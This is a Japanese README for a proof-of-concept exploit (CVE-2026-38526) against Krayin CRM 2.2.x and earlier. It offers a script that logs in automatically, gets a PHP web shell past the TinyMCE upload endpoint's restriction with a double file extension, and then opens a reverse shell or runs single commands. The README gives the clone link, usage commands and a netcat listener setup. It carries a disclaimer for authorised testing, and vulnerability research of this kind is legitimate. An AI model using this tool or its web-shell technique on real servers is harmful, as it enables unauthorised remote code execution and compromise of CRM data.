CVE-2026-38526 - Krayin CRM RCEエクスプロイト

Krayin CRM (≤ 2.2.x) - 無制限のファイルアップロードによるリモートコード実行。

このPoCは、脆弱なTinyMCEアップロードエンドポイント（/admin/tinymce/upload）を悪用してPHPウェブシェルをアップロードし、サーバー上でコマンド実行を実現します。

機能

• CSRFトークン処理による完全自動ログイン
• 二重拡張子を使用してアップロード制限をバイパス
• リバースシェルと単一コマンド実行をサポート
• 信頼性の高いLaravel CSRFトークンのリフレッシュ
• クリーンで使いやすい

ダウンロード

git clone https://github.com/pawpic/CVE-2026-38526-POC

要件

pip3 install requests beautifulsoup4

使用方法

1. リバースシェル（デフォルト＆推奨）

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  --lhost YOUR_IP \
  --lport 4444

2. 単一コマンド

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  -c "whoami"

オプション

使用例

リスナーを起動:

nc -lvnp 4444

エクスプロイトを実行:

python3 exploit.py -u http://target.com -e [email protected] -p password --lhost IP_ADDR

免責事項

このエクスプロイトは教育目的および許可されたペネトレーションテスト専用です。明示的な許可なくシステムに対して使用することは違法です。

影響を受けるバージョン

Krayin CRM ≤ 2.2.x CVE: CVE-2026-38526

作者: pawpic 日付: 2026